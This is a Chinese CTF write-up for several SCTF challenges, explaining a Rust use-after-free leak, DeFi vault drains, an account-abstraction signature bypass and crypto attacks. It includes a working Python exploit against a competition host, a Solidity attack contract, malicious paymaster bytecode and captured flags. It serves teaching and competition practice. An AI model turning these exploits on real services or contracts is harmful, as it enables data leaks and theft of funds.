SCTF-(部分)

admin 2026-07-02 05:02:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档描述了SCTF竞赛中一个Web漏洞和一个MISC合约分析。Web漏洞是Rustunsafe代码导致的Use-After-Free,通过Gateway的/__route/audit端点利用悬垂指针泄露内部vault接口的reconciliation_token(即flag)。攻击者通过慢速HTTP请求控制偏移,逐字节泄露512字节snapshot数据。MISC部分涉及一个包含Groth16证明验证和额外校验的claim函数。 综合评分: 95 文章分类: 漏洞分析,WEB安全,红队,内网渗透,CTF


cover_image

SCTF-(部分)

赛查查

2026年7月1日 10:15 北京

在小说阅读器读本章

去阅读

以下文章来源于玄网安全 ,作者玄网安全 oPis

玄网安全 .

ctf竞赛交流,网络大臭虫一个

SCTF(部分)

Summary(WEB)

Rust unsafe 导致的 Use-After-Free 漏洞。Gateway 的 /__route/audit 端点使用 transmute 将局部 buffer 的引用强行提升为 'static 生命周期,归还 buffer 后后台定时任务覆写内存池,攻击者通过慢速 HTTP 请求让悬垂指针读到内部 vault 接口的敏感数据,逐字节泄露 reconciliation_token 即 flag。

审计信息

审计结论
发现 1 个高危信息泄露漏洞,可通过公网 POST /__route/audit 泄露 vault 内部接口返回的 TREASURY_RECONCILIATION_TOKEN。
高危:/__route/audit 可泄露内部 snapshot/token
位置:
gateway.rs (line 126)
selector.rs (line 67)
gateway.toml (line 6)
misc.rs (line 24)

漏洞分析

1. 架构

  • Gateway (0.0.0.0:8080,Docker 映射 5000):公网可达,路由 /api → 反代到 vault,/__route/audit → 路由审计
  • Vault (127.0.0.1:3005):内部服务,/internal/compliance/export-snapshot 返回包含 reconciliation_token 的 JSON

2. 漏洞点

selector.rs:67-87 — defer_trace()

pub fn defer_trace(&self, raw_header: &[u8]) -> DeferredTrace {
    let tenant_key = tenant_key(raw_header);
    letmut scratch = self.checkout(&tenant_key);       // 从池中取 512 字节 buffer
    let raw_len = raw_header.len().min(SCRATCH_CAP);
    scratch[..raw_len].copy_from_slice(&raw_header[..raw_len]);

    let (tenant, path, nonce) = {
        let raw = &scratch[..raw_len];
        let parsed = unsafe { parse_route_selector(raw, SCRATCH_CAP) };
        let nonce = unsafe {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; std::mem::transmute::<&[u8], &'static&nbsp;[u8]>(parsed.nonce) &nbsp;// [1] UAF!
&nbsp; &nbsp; &nbsp; &nbsp; };
&nbsp; &nbsp; &nbsp; &nbsp; (parsed.tenant.to_string(), parsed.path.to_string(), nonce)
&nbsp; &nbsp; };

&nbsp; &nbsp;&nbsp;self.checkin(tenant_key, scratch); &nbsp;// [2] buffer 归还池中,nonce 变成悬垂指针
&nbsp; &nbsp; DeferredTrace { tenant, path, nonce }
}

selector.rs:89-98 — store_snapshot()

fn&nbsp;store_snapshot(&self, body: &[u8]) {
&nbsp; &nbsp;&nbsp;let&nbsp;snapshot = body[..body.len().min(SCRATCH_CAP)].to_vec();
&nbsp; &nbsp;&nbsp;let&nbsp;mut&nbsp;pools =&nbsp;self.pools.lock().expect("selector pool lock poisoned");
&nbsp; &nbsp;&nbsp;for&nbsp;pool&nbsp;in&nbsp;pools.values_mut() {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;scratch&nbsp;in&nbsp;pool.iter_mut() {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; scratch.fill(0);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; scratch[..snapshot.len()].copy_from_slice(&snapshot); &nbsp;// [3] 覆写所有池中 buffer!
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
}

selector.rs:48-57 — 后台定时任务

tokio::spawn(async&nbsp;move&nbsp;{
&nbsp; &nbsp;&nbsp;loop&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;let&nbsp;Ok(body) = fetch_http_body(&url).await&nbsp;{ &nbsp;// 拉取内部 snapshot
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; engine.store_snapshot(&body); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// 覆写所有 scratch
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; sleep(refresh_interval).await; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 每 1 秒一次
&nbsp; &nbsp; }
});

gateway.rs:126-148 — route_audit()

async&nbsp;fn&nbsp;route_audit(&self, request: Request<Incoming>) -> ... {
&nbsp; &nbsp;&nbsp;let&nbsp;trace =&nbsp;self.selector.defer_trace(selector.as_bytes()); &nbsp;// nonce 已悬垂
&nbsp; &nbsp; request.into_body().collect().await?; &nbsp;// [4] 等待 body 读完 — 攻击窗口!
&nbsp; &nbsp;&nbsp;let&nbsp;trace = trace.finish(); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;// [5] 读取悬垂 nonce → 泄露 snapshot 数据
&nbsp; &nbsp; ...
}

3. 利用时序

时间线:
&nbsp; T0: defer_trace() 执行,nonce → scratch[offset..offset+4]
&nbsp; &nbsp; &nbsp; scratch 归还池中(nonce 悬垂)
&nbsp; T1: route_audit 阻塞在 body.collect(),攻击者不发送 body
&nbsp; T2: 后台任务拉取 snapshot,store_snapshot() 覆写所有池中 scratch
&nbsp; T3: 攻击者发送剩余 body,collect() 返回
&nbsp; T4: trace.finish() 读取 nonce → 读到的是 snapshot[offset..offset+4]

4. 控制偏移

parse_route_selector 按 tenant:path:nonce 格式解析 header:

let&nbsp;nonce_start = second.saturating_add(1); &nbsp;// 第二个冒号后 1 字节
let&nbsp;nonce_len = scratch_cap.saturating_sub(nonce_start).min(4); &nbsp;// 固定 4 字节

构造 selector t:AAA...A: 使第二个冒号位于 offset-1,则 nonce_start = offset,读取 snapshot 的 4 字节窗口。遍历 offset 3, 7, 11, … 511 即可还原完整 512 字节 snapshot。

import socket
import time
import json

HOST, PORT =&nbsp;'1.95.127.162', 5000

def leak(off, retries=3):
&nbsp; &nbsp;&nbsp;for&nbsp;attempt&nbsp;in&nbsp;range(retries):
&nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# nonce_start = second_colon + 1 = off
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; selector =&nbsp;'t:'&nbsp;+&nbsp;'A'&nbsp;* (off - 3) +&nbsp;':'

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = socket.create_connection((HOST, PORT), timeout=10)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; req = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'POST /__route/audit HTTP/1.1\r\n'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f'Host: {HOST}:{PORT}\r\n'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f'x-route-selector: {selector}\r\n'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Content-Length: 1\r\n'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'Connection: close\r\n\r\n'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.sendall(req.encode())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(1.3) &nbsp; &nbsp; &nbsp;&nbsp;# wait for background refresh (1s interval + margin)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.sendall(b'x')

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = b''
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;True:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; chunk = s.recv(4096)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not chunk:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp += chunk
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except ConnectionResetError:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except Exception:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.close()

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Find JSON body after HTTP headers
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parts = resp.split(b'\r\n\r\n', 1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;len(parts) < 2:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;attempt < retries - 1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.5)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;b'\x00\x00\x00\x00'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; body = parts[1]
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; parsed = json.loads(body)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;bytes.fromhex(parsed['nonce_preview_hex'])
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; except Exception:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;attempt < retries - 1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(0.5)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;b'\x00\x00\x00\x00'
&nbsp; &nbsp; &nbsp; &nbsp; except Exception as e:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;attempt < retries - 1:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; time.sleep(1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;b'\x00\x00\x00\x00'

print('[*] Leaking snapshot data...')
results = []
for&nbsp;i&nbsp;in&nbsp;range(3, 512, 4):
&nbsp; &nbsp; data = leak(i)
&nbsp; &nbsp; results.append(data)
&nbsp; &nbsp; printable =&nbsp;''.join(chr(b)&nbsp;if&nbsp;32 <= b < 127&nbsp;else'.'for&nbsp;b&nbsp;in&nbsp;data)
&nbsp; &nbsp;&nbsp;print(f' &nbsp;offset {i:3d}: {data.hex()} &nbsp;{printable}', flush=True)

full = b''.join(results)
print('\n[+] Full leaked data:')
print(full.decode(errors='replace'))
print('\n[+] Hex dump of flag area:')
# Find SCTF pattern
idx = full.find(b'SCTF')
if&nbsp;idx >= 0:
&nbsp; &nbsp;&nbsp;print(f' &nbsp;Found SCTF at offset {idx}: {full[idx:idx+100]}')
else:
&nbsp; &nbsp;&nbsp;# Search for "reconciliation_token"
&nbsp; &nbsp; idx = full.find(b'reconciliation_token')
&nbsp; &nbsp;&nbsp;if&nbsp;idx >= 0:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f' &nbsp;Found reconciliation_token at offset {idx}')
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f' &nbsp;Context: {full[idx:idx+80]}')

Contract Analysis(MISC)

核心合约函数如下:

function claim(
&nbsp; &nbsp; uint[2] calldata proofA,
&nbsp; &nbsp; uint[2][2] calldata proofB,
&nbsp; &nbsp; uint[2] calldata proofC,
&nbsp; &nbsp; uint[5] calldata publicSignals,
&nbsp; &nbsp; uint256 pageAPlaintext,
&nbsp; &nbsp; uint8 pageBv,
&nbsp; &nbsp; bytes32 pageBr,
&nbsp; &nbsp; bytes32 pageBs,
&nbsp; &nbsp; uint256 pageCLeft,
&nbsp; &nbsp; uint256 pageCRight
) external

claim 的校验逻辑分为四部分:

  1. publicSignals 必须匹配链上 modulus / merkleRoot / recipientCommitment / externalNullifier
  2. Groth16Verifier.verifyProof(...) 必须通过
  3. nullifierHash 不能重复使用
  4. Page A、Page B、Page C 三个额外校验必须通过

电路 LastHonestWitness.circom 约束:

p * q === modulus
plaintext < modulus
Poseidon(1, plaintext) === recipientCommitment
identity = Poseidon(2, plaintext, p, q, externalNullifier)
nullifierHash = Poseidon(5, identity, externalNullifier)
leaf = Poseidon(3, identity, commitment)
沿 Merkle path 计算 root === merkleRoot

因此需要恢复:

  • RSA 模数的两个因子 p, q
  • ciphertext 对应的 plaintext
  • 正确的 Merkle root
  • 对应的 Merkle path

poseidon_helper.js 已经提供了 Merkle tree 构造规则,可以直接复用生成 circuit input。 题目提示:

The two guardians of the modulus were born almost at the same time.

实际链上 RSA 模数较小,可以直接分解:

N = 615429951214616213145619887722161253
p = 784493436055779473
q = 784493436055795861

由于 gcd(e, phi(N)) = 1,直接求私钥指数:

phi = (p -&nbsp;1) * (q -&nbsp;1)
d = inverse(e, phi)
m = pow(c, d, N)

得到:

plaintext = 474401937379412746004845

接着用 poseidon_helper.js 计算 commitment / nullifier / Merkle path:

node poseidon_helper.js \
&nbsp; 784493436055779473 \
&nbsp; 784493436055795861 \
&nbsp; 474401937379412746004845 \
&nbsp; --input input.json

输出关键值:

activeIndex = 19
commitment = 9377985761090098792458769157668700179213141594497154267610801610404565099971
nullifierHash = 8001422557285569920145416452913385853486935919178479204688850774075157728239
merkleRoot = 7732477719083212578752387109071435927399654988182031884976220637137317857940

commitment 和链上常量一致,merkleRoot 和事件 root 一致,说明 witness 正确。 Page A 给出:

n = 760009694642386684565581461392043895505912502559714131532944907541093903
e = 3
delta = 1337
c1 = m^e mod n
c2 = (m + delta)^e mod n

这是 Franklin-Reiter related-message attack。令:

f(x) = x^3 - c1
g(x) = (x + delta)^3 - c2

在 Z_n[x] 上求 gcd(f, g),得到一次多项式 x - m

求得:

pageAPlaintext = 25774616630246150697727911729
bytes = b"SHC_FR_frag1"

Page B 给出 secp256k1 公钥坐标和消息哈希,并提示:

x < 2^20

说明 ECDSA 私钥很小。对 secp256k1 做 baby-step giant-step 离散对数即可恢复私钥:

private scalar = 789123

用该私钥对合约中的 PAGE_B_MESSAGE_HASH 签名,得到:

pageBv = 28
pageBr = 0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402
pageBs = 0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a

链上 ecrecover 恢复地址:

0xB6746A0bfDC4aF89cE8cE8822c887A6bB79b88ec

与合约 PAGE_B_SIGNER 一致。 Page C 要求找到两个不同整数 a, b < 2^32,满足:

low40(keccak256(abi.encodePacked(PAGE_C_TAG, a)))
==
low40(keccak256(abi.encodePacked(PAGE_C_TAG, b)))

40-bit 截断哈希可以用生日攻击,期望约 2^20 次。注意 Solidity 的 abi.encodePacked(bytes32, uint256) 中,uint256 是 32 字节 big-endian。

搜索得到:

pageCLeft &nbsp;= 1656330
pageCRight = 2582757
low40 &nbsp; &nbsp; &nbsp;= 0x6bdab550bd
claim(
&nbsp; &nbsp; proofA,
&nbsp; &nbsp; proofB,
&nbsp; &nbsp; proofC,
&nbsp; &nbsp; publicSignals,
&nbsp; &nbsp;&nbsp;25774616630246150697727911729,
&nbsp; &nbsp;&nbsp;28,
&nbsp; &nbsp;&nbsp;0xc3349965986bd706337e04fd1a6a740e1f759a5d95ec4d2854655fc414ec6402,
&nbsp; &nbsp;&nbsp;0x432d7ce0d69b4a37abd4504c03aac315e27d666b6720d0624a2d2984cfcd346a,
&nbsp; &nbsp;&nbsp;1656330,
&nbsp; &nbsp;&nbsp;2582757
)

交易成功:

tx = 0xda98c595b4c0eca2489881c145d2bd87c81fef6f2822b26a39d4ec95fff22c75
receipt status = 1
gas used = 322115
isSolved = True

平台返回:

Congratulations! Challenge solved!
FLAG: SCTF{SYC_!ntern_Ray}

kMage(PWN)

144PT
Pwn
你们是虚像吗?是吞噬期冀的黑洞吗?
flag:SCTF{g0o0o0o-f0r-@-puNch-k3rnEL-M4st3r}

Are you illusions? Are you black holes that devour hopes?
flag:SCTF{g0o0o0o-f0r-@-puNch-k3rnEL-M4st3r}

ChronoStasis(MISC)

Summary

题目是一个 Foundry/Anvil 区块链实例题。核心漏洞在于 Vault 的赎回流程跨越了两次价格观测:requestRedeem 和 claimRedeem 使用的 LP / Oracle 价格不一致,因此可以先抬高价格提交赎回请求,再压低价格领取,从 Vault 中取出过量 LP,使 isSolved() 变为 true

Solution

1. 启动实例并保持菜单连接

远程入口是:

nc 1.95.63.227 7000

选择 [2] Launch new instance 后,服务会返回本次实例的 RPC URLSetup contractPlayer key。这些值每次启动都不同,必须自动解析。

一个细节是:Anvil RPC 的生命周期和当前 nc 菜单连接相关。如果脚本启动实例后立刻关闭 socket,RPC 端口会很快变成 Connection refused。因此 exploit 脚本需要保持这个菜单 socket 不关闭,直到链上利用完成,再在同一连接里选择 [3] Get flag

2. 利用 Oracle / Vault 价格错配

实例中有三种 token、两个 AMM pair、一个 oracle 和一个 vault:

  • pairAB:Vault 持有的 LP 资产
  • pairBC:较薄的价格池,用于影响 B 的报价
  • oracle:更新 pair 价格
  • vault:支持 deposit -> requestRedeem -> claimRedeem

利用流程:

  1. approve 所有需要的 token / LP。
  2. 向 pairAB 添加少量 A/B 流动性,得到 LP。
  3. 将 LP 存入 Vault,得到 shares。
  4. 更新 oracle,建立基线价格。
  5. 用大量 C 换 B,拉高 B 相对 C 的价格,从而抬高 lpPriceUSD() / pricePerShare()
  6. 在高价状态下调用 requestRedeem(shares, me, me)
  7. 再用手中的 B 砸回 pairBC,压低 B 价格。
  8. 更新 oracle 后调用 claimRedeem(0)
  9. Vault 按不一致的价格状态结算,资产被取走过多,isSolved() 变为 true

实际运行中的关键状态:

after pump:
&nbsp; lpPriceUSD = 20341399997000000000
&nbsp; pps &nbsp; &nbsp; &nbsp; &nbsp;= 20341399997000000000

after dump:
&nbsp; lpPriceUSD = 67604157000000000
&nbsp; pps &nbsp; &nbsp; &nbsp; &nbsp;= 67604157000000000

after claim:
&nbsp; solved = True

GateCrash(MISC)

Summary

GateCrash 是一个简化版 ERC-4337 账户抽象题。漏洞在于 EntryPoint 在 Paymaster 校验阶段暴露了特权函数,恶意 Paymaster 可以把 admin account 加入 preApprovedSenders,随后同一个 handleOps 批次中的 admin UserOperation 会跳过签名校验。

Solution

Step 1: 观察验证流程

EntryPoint.handleOps() 先遍历全部 UserOperation 做 _validatePrepayment(),再遍历全部 UserOperation 做 _executeUserOp()

在 _validatePrepayment() 中,如果 paymasterAndData 非空,会调用:

_inPaymasterValidation = true;
IPaymaster(paymaster).validatePaymasterUserOp(op, opHash, 0);
_inPaymasterValidation = false;

而 EntryPoint.addToPreApproved() 只检查 _inPaymasterValidation

function addToPreApproved(address sender) external override {
&nbsp; &nbsp; require(_inPaymasterValidation, "EP: only during paymaster validation");
&nbsp; &nbsp; preApprovedSenders[sender] = true;
}

因此任意被指定为 paymaster 的合约,都可以在校验回调里调用 addToPreApproved(adminAccount)

Step 2: 绕过 admin 签名

BaseAccount.validateUserOp() 中存在一条特殊分支:

if (entryPoint.preApprovedSenders(address(this))) {
&nbsp; &nbsp; require(userOp.nonce == nonce, "BaseAccount: invalid nonce");
&nbsp; &nbsp; nonce++;
&nbsp; &nbsp; return 0;
}

也就是说,只要 admin account 被加进 preApprovedSenders,admin 的 UserOperation 就不再需要 owner 签名。

利用方式是在同一个 handleOps([op1, op2]) 批次中提交两个操作:

  1. op1.sender = attackerAccount,带合法签名,并设置 paymasterAndData = maliciousPaymaster
  2. 恶意 Paymaster 在 validatePaymasterUserOp() 中调用 EntryPoint.addToPreApproved(adminAccount)
  3. op2.sender = adminAccount,签名为空,但由于 admin 已经 pre-approved,校验通过。
  4. op2.callData 调用 admin account 的 execute(player, adminBalance, ""),把 admin 账户余额转给 player。

admin 账户余额清空后,Setup.isSolved() 返回 true

Step 3: Exploit

完整 exploit 脚本:

E:\MCP\solve_gatecrash.py

运行方式:

cd&nbsp;/mnt/e/MCP
export&nbsp;GATE_TOKEN=<team-token>
unset&nbsp;GATE_RPC GATE_SETUP GATE_PK RPC SETUP PK
python solve_gatecrash.py

脚本会自动:

  • 连接 nc 1.95.63.227 1337
  • 选择 [2] Launch new instance
  • 解析 RPC URL / Setup address / Player key
  • 部署恶意 Paymaster
  • 构造两个 UserOperation 并调用 EntryPoint.handleOps
  • 选择 [3] Get flag

核心逻辑如下:

def&nbsp;paymaster_creation_code(entry_point, admin_account):
&nbsp; &nbsp;&nbsp;# runtime: entryPoint.addToPreApproved(adminAccount);
&nbsp; &nbsp;&nbsp;# then return ABI-encoded (bytes context, uint256 validationData) = ("", 0)
&nbsp; &nbsp; selector = keccak(text="addToPreApproved(address)")[:4]
&nbsp; &nbsp; runtime = bytearray()
&nbsp; &nbsp; runtime += bytes.fromhex("7f") + selector +&nbsp;b"\x00"&nbsp;*&nbsp;28
&nbsp; &nbsp; runtime += bytes.fromhex("600052")
&nbsp; &nbsp; runtime += bytes.fromhex("7f") +&nbsp;b"\x00"&nbsp;*&nbsp;12&nbsp;+ bytes.fromhex(admin_account[2:])
&nbsp; &nbsp; runtime += bytes.fromhex("600452")
&nbsp; &nbsp; runtime += bytes.fromhex("60006000602460006000")
&nbsp; &nbsp; runtime += bytes.fromhex("73") + bytes.fromhex(entry_point[2:])
&nbsp; &nbsp; runtime += bytes.fromhex("5af150")
&nbsp; &nbsp; runtime += bytes.fromhex("60406000526000602052600060405260606000f3")
&nbsp; &nbsp; creation = (
&nbsp; &nbsp; &nbsp; &nbsp; bytes.fromhex("60") + bytes([len(runtime)]) +
&nbsp; &nbsp; &nbsp; &nbsp; bytes.fromhex("600c60003960") + bytes([len(runtime)]) +
&nbsp; &nbsp; &nbsp; &nbsp; bytes.fromhex("6000f3") + bytes(runtime)
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;return"0x"&nbsp;+ creation.hex()

# op1: attacker account, valid signature, malicious paymaster
op1["sender"] = attackerAccount
op1["paymasterAndData"] = bytes.fromhex(paymaster[2:])
op1["signature"] = sign_user_op(op1, player_private_key)

# op2: admin account, empty signature, execute admin balance transfer
admin_balance = w3.eth.get_balance(adminAccount)
op2["sender"] = adminAccount
op2["callData"] = admin.execute(player, admin_balance,&nbsp;b"")
op2["signature"] =&nbsp;b""

entryPoint.handleOps([op1, op2], player)

成功输出:

[*] preApproved(admin): True
[*] admin balance after: 0
[*] isSolved: True

Flag

SCTF{Krypt0n0r_0xccfa0_#3!(D1n0)@bc}

DeepSea Finance(MISC)

Summary

DeepSea Finance 是一个多资产借贷协议题,目标是让 Setup.isSolved() 返回 true

function isSolved() external view returns (bool) {
&nbsp; &nbsp; return wbtc.balanceOf(address(vaultProxy)) == 0;
}

核心漏洞在 DeepSeaVault.claimRewards() 的奖励 epoch 结算流程。调用 claimRewards(wbtc) 后,代理存储中的初始化保护槽会被清空,使得同一笔交易内可以再次调用 initialize(),把攻击合约加入 guardians。随后攻击合约以 guardian 身份调用 emergencyWithdraw(),直接把 vault 中的全部 WBTC 转走。

Solution

1. 观察初始化保护

Setup 部署 DeepSeaVault 实现合约后,用 RoutedProxy 通过 delegatecall(initData) 初始化 vault:

function initialize(
&nbsp; &nbsp; address _oracle,
&nbsp; &nbsp; address _rewardToken,
&nbsp; &nbsp; address[] calldata _guardians
) external {
&nbsp; &nbsp; require(governor == address(0), "Already initialized");
&nbsp; &nbsp; governor &nbsp; &nbsp;= msg.sender;
&nbsp; &nbsp; priceOracle = IVaultOracle(_oracle);
&nbsp; &nbsp; rewardToken = _rewardToken;
&nbsp; &nbsp; ...
}

正常情况下,governor 已经是 Setup,所以不能二次初始化。

但是实际链上探测发现,在新实例中单独调用一次:

vault.claimRewards(wbtc);

之后代理存储出现如下变化:

slot0 before = 0
slot1 before = 0x...5FbDB2315678afecb367f032d93F642f64180aa3

slot0 after &nbsp;= 1
slot1 after &nbsp;= 0

其中 slot1 正是 governor 所在位置,原本保存 Setup 地址。它被清零后,initialize() 的 require(governor == address(0)) 又可以通过。

2. 构造攻击合约

攻击需要放在同一笔交易中完成,因为题目使用了 Cancun transient storage,状态变化和执行上下文强相关。攻击合约执行顺序如下:

  1. 从 Setup 读取 vaultProxywbtcusdcoracle
  2. 调用 vault.claimRewards(wbtc),触发奖励结算副作用,清掉 governor
  3. 调用 vault.initialize(oracle, usdc, [address(this)]),把攻击合约注册为 guardian。
  4. 读取 wbtc.balanceOf(vault)
  5. 调用 vault.emergencyWithdraw(wbtc, msg.sender, balance),把全部 WBTC 转给玩家。

对应的 Solidity 逻辑可以写成:

interface ISetup {
&nbsp; &nbsp; function vaultProxy() external view returns (address);
&nbsp; &nbsp; function wbtc() external view returns (address);
&nbsp; &nbsp; function usdc() external view returns (address);
&nbsp; &nbsp; function oracle() external view returns (address);
}

interface IVault {
&nbsp; &nbsp; function claimRewards(address token) external;
&nbsp; &nbsp; function initialize(address oracle, address rewardToken, address[] calldata guardians) external;
&nbsp; &nbsp; function emergencyWithdraw(address token, address to, uint256 amount) external;
}

interface IERC20 {
&nbsp; &nbsp; function balanceOf(address account) external view returns (uint256);
}

contract Attack {
&nbsp; &nbsp; function attack(address setupAddr) external {
&nbsp; &nbsp; &nbsp; &nbsp; ISetup setup = ISetup(setupAddr);
&nbsp; &nbsp; &nbsp; &nbsp; address vault = setup.vaultProxy();
&nbsp; &nbsp; &nbsp; &nbsp; address wbtc = setup.wbtc();

&nbsp; &nbsp; &nbsp; &nbsp; IVault(vault).claimRewards(wbtc);

&nbsp; &nbsp; &nbsp; &nbsp; address[] memory guardians = new address[](1);
&nbsp; &nbsp; &nbsp; &nbsp; guardians[0] = address(this);
&nbsp; &nbsp; &nbsp; &nbsp; IVault(vault).initialize(setup.oracle(), setup.usdc(), guardians);

&nbsp; &nbsp; &nbsp; &nbsp; uint256 amount = IERC20(wbtc).balanceOf(vault);
&nbsp; &nbsp; &nbsp; &nbsp; IVault(vault).emergencyWithdraw(wbtc, msg.sender, amount);
&nbsp; &nbsp; }
}

3. Exploit

完整脚本:

E:\MCP\solve_deepsea.py

运行方式:

cd&nbsp;/mnt/e/MCP
export&nbsp;DEEPSEA_TOKEN=<team-token>
unset&nbsp;DEEPSEA_RPC DEEPSEA_SETUP DEEPSEA_PK RPC SETUP PK
python solve_deepsea.py

脚本会自动完成:

  • 连接 nc 1.95.206.213 5000
  • 选择 [1] Launch new instance
  • 解析 RPC URL / Setup contract / Player key
  • 部署攻击合约 runtime
  • 调用 attack(setup)
  • 检查 Setup.isSolved()
  • 在同一菜单连接中选择 [2] Get flag

成功输出:

[*] deploy attacker: ... status=1 gas=322962
[*] attack: ... status=1 gas=175015
[*] final WBTC vault bal 0
[*] solved True

FLAG: SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}

Flag

SCTF{d33p_s34_f1n4nc3_!$_dr41n3d_2026@#^&*}

Cipher_Chain(crypto)

Summary

题目分为两段。Task1 是有限域上的小重量三值向量恢复,可以用 meet-in-the-middle 枚举;恢复出的 seed 再作为 Task2 的输入,经过 SHA256 burn 后参与 X25519,最后用派生出的流密钥解密 payload。

Solution

Step 1: 恢复 Task1 的三值向量

task1.txt 给出了 30 维向量 h 的约束:

  • h_i in {-1, 0, 1}
  • sum h_i^2 = 10,所以非零项恰好 10 个
  • h * G = 0 mod 65537

直接枚举是 C(30,10) * 2^10,但可以把 30 维拆成前 15 维和后 15 维。分别枚举左右半边的带符号小重量和,查找两边向量和互为相反数的组合即可。

找到:

h = [0, 1, 0, 0, -1, 1, 0, 0, 0, 1, 0, 0, 0, -1, 0,
&nbsp; &nbsp; &nbsp;0, 0, 1, 0, 0, -1, 0, -1, 0, 0, 0, 1, 0, -1, 0]

按题面给出的 KDF 计算 stream 后异或密文,得到 Task2 seed:

seed_hex &nbsp; = 6147466a794858316157646164616465
seed_ascii = aGFjyHX1aWdadade

